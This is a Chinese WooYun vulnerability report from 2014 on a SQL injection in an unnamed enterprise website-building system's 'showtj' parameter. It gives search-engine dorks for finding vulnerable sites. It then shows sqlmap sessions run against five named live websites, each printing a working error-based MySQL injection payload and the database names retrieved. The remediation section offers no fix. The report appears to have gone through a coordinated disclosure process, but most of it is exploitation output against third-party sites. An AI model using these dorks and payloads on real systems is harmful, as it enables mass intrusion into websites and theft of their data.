当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063761

漏洞标题:某企业建站系统一处无限制通杀型sql注入漏洞#5-6

相关厂商:某企业建站系统

漏洞作者: Mosuan

提交时间:2014-06-06 17:09

修复时间:2014-09-04 17:10

公开时间:2014-09-04 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-11: 厂商已经确认,细节仅向厂商公开
2014-06-14: 细节向第三方安全合作伙伴开放
2014-08-05: 细节向核心白帽子及相关领域专家公开
2014-08-15: 细节向普通白帽子公开
2014-08-25: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

女神是什么?

详细说明:

google关键词:inurl:/photo/class/index.php?showtj=


google关键词仅供参考
百度关键词

关于我们| 联系方式| 客户留言| 人才招聘| 相关知识| 友情链接 版权所有


搜索到网站去掉路径然后加上

photo//class/index.php?showtj=1


例如

http://www.xinwangtian.com//photo/class/index.php?showtj=1


第二枚注入就不演示了举个例子

http://www.xinwangtian.com//job/class/index.php?showtj=1


随机选几个进行注入

注入地址:http://www.xinwangtian.com//photo/class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 13:43:25
[13:43:25] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.xinwangtian.com\session' as session file
[13:43:25] [INFO] testing connection to the target url
[13:43:26] [INFO] testing if the url is stable, wait a few seconds
[13:43:27] [INFO] url is stable
[13:43:27] [INFO] testing if GET parameter 'showtj' is dynamic
[13:43:28] [WARNING] GET parameter 'showtj' appears to be not dynamic
[13:43:28] [INFO] heuristic test shows that GET parameter 'showtj' might be inje
ctable (possible DBMS: MySQL)
[13:43:28] [INFO] testing sql injection on GET parameter 'showtj'
[13:43:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:43:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[13:43:41] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[13:43:41] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:43:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:43:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:43:42] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[13:43:44] [INFO] target url appears to have 1 columns in query
[13:43:46] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[13:43:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 3027 FROM(SELECT COUNT(*),CONCAT(0x3a7479653a
,(SELECT (CASE WHEN (3027=3027) THEN 1 ELSE 0 END)),0x3a66757a3a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'JssK'='JssK
---
[13:44:05] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.9
back-end DBMS: MySQL 5.0
[13:44:05] [INFO] fetching database names
[13:44:06] [INFO] the SQL query used returns 2 entries
[13:44:07] [INFO] retrieved: information_schema
[13:44:07] [INFO] retrieved: liudongyang
available databases [2]:
[*] information_schema
[*] liudongyang
[13:44:07] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.xinwangtian.com'


注入地址:http://www.atosn.com/photo/class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 13:41:04
[13:41:04] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.atosn.com\session' as session file
[13:41:04] [INFO] testing connection to the target url
[13:41:06] [INFO] testing if the url is stable, wait a few seconds
[13:41:09] [INFO] url is stable
[13:41:09] [INFO] testing if GET parameter 'showtj' is dynamic
[13:41:13] [WARNING] GET parameter 'showtj' appears to be not dynamic
[13:41:14] [WARNING] heuristic test shows that GET parameter 'showtj' might not
be injectable
[13:41:14] [INFO] testing sql injection on GET parameter 'showtj'
[13:41:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:41:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[13:41:46] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[13:41:46] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:41:47] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:41:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:41:54] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[13:42:04] [INFO] target url appears to have 1 columns in query
[13:42:11] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[13:42:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 5556 FROM(SELECT COUNT(*),CONCAT(0x3a6177673a
,(SELECT (CASE WHEN (5556=5556) THEN 1 ELSE 0 END)),0x3a7870753a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'FUBC'='FUBC
---
[13:42:41] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
[13:42:41] [INFO] fetching database names
[13:42:43] [INFO] the SQL query used returns 2 entries
[13:42:49] [INFO] retrieved: information_schema
[13:42:51] [INFO] retrieved: atosn
available databases [2]:
[*] atosn
[*] information_schema
[13:42:51] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.atosn.com'


注入地址:http://sh-10000.com/photo//class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 13:54:54
[13:54:54] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\sh-10000.com\session' as session file
[13:54:54] [INFO] testing connection to the target url
[13:54:55] [INFO] testing if the url is stable, wait a few seconds
[13:54:58] [INFO] url is stable
[13:54:58] [INFO] testing if GET parameter 'showtj' is dynamic
[13:54:59] [WARNING] GET parameter 'showtj' appears to be not dynamic
[13:55:01] [INFO] heuristic test shows that GET parameter 'showtj' might be inje
ctable (possible DBMS: MySQL)
[13:55:01] [INFO] testing sql injection on GET parameter 'showtj'
[13:55:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:55:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[13:55:13] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[13:55:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:55:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:55:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:55:15] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[13:55:18] [INFO] target url appears to have 1 columns in query
[13:55:18] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[13:55:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 4572 FROM(SELECT COUNT(*),CONCAT(0x3a6a72633a
,(SELECT (CASE WHEN (4572=4572) THEN 1 ELSE 0 END)),0x3a776f683a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jhTn'='jhTn
---
[13:55:25] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[13:55:25] [INFO] fetching database names
[13:55:30] [INFO] the SQL query used returns 2 entries
[13:55:32] [INFO] retrieved: information_schema
[13:55:33] [INFO] retrieved: sh10000
available databases [2]:
[*] information_schema
[*] sh10000
[13:55:33] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\sh-10000.com'


注入地址:http://tuchang.com/photo//class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 13:57:45
[13:57:45] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\tuchang.com\session' as session file
[13:57:45] [INFO] testing connection to the target url
[13:57:46] [INFO] testing if the url is stable, wait a few seconds
[13:57:47] [INFO] url is stable
[13:57:47] [INFO] testing if GET parameter 'showtj' is dynamic
[13:57:48] [WARNING] GET parameter 'showtj' appears to be not dynamic
[13:57:48] [INFO] heuristic test shows that GET parameter 'showtj' might be inje
ctable (possible DBMS: MySQL)
[13:57:48] [INFO] testing sql injection on GET parameter 'showtj'
[13:57:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:57:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[13:57:54] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[13:57:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:57:55] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:57:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:57:56] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[13:57:58] [INFO] target url appears to have 1 columns in query
[13:57:58] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[13:57:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 3889 FROM(SELECT COUNT(*),CONCAT(0x3a6667633a
,(SELECT (CASE WHEN (3889=3889) THEN 1 ELSE 0 END)),0x3a7664743a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'BHRy'='BHRy
---
[13:58:01] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[13:58:01] [INFO] fetching database names
[13:58:02] [INFO] the SQL query used returns 2 entries
[13:58:03] [INFO] retrieved: information_schema
[13:58:05] [INFO] retrieved: tuchang
available databases [2]:
[*] information_schema
[*] tuchang
[13:58:05] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\tuchang.com'
[*] shutting down at 13:58:05


注入地址:http://www.sdluyijixie.com/photo//class/index.php?showtj=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 14:04:36
[14:04:36] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.sdluyijixie.com\session' as session file
[14:04:37] [INFO] testing connection to the target url
[14:04:37] [INFO] testing if the url is stable, wait a few seconds
[14:04:38] [INFO] url is stable
[14:04:38] [INFO] testing if GET parameter 'showtj' is dynamic
[14:04:40] [WARNING] GET parameter 'showtj' appears to be not dynamic
[14:04:40] [INFO] heuristic test shows that GET parameter 'showtj' might be inje
ctable (possible DBMS: MySQL)
[14:04:40] [INFO] testing sql injection on GET parameter 'showtj'
[14:04:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:04:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[14:04:48] [INFO] GET parameter 'showtj' is 'MySQL >= 5.0 AND error-based - WHER
E or HAVING clause' injectable
[14:04:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:04:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:04:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[14:04:50] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[14:04:52] [INFO] target url appears to have 1 columns in query
[14:04:53] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[14:04:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'showtj' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: showtj
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: showtj=1' AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x3a766b723a
,(SELECT (CASE WHEN (5497=5497) THEN 1 ELSE 0 END)),0x3a7a61693a,FLOOR(RAND(0)*2
))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ldas'='ldas
---
[14:04:56] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[14:04:56] [INFO] fetching database names
[14:04:57] [INFO] the SQL query used returns 2 entries
[14:04:58] [INFO] retrieved: information_schema
[14:04:58] [INFO] retrieved: a1124153836
available databases [2]:
[*] a1124153836
[*] information_schema
[14:04:58] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.sdluyijixie.com'

漏洞证明:

详细说明

修复方案:

你们懂的!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-06-11 10:01

厂商回复:

与wooyun-2014-一并处置,不再单独评分。

最新状态:

暂无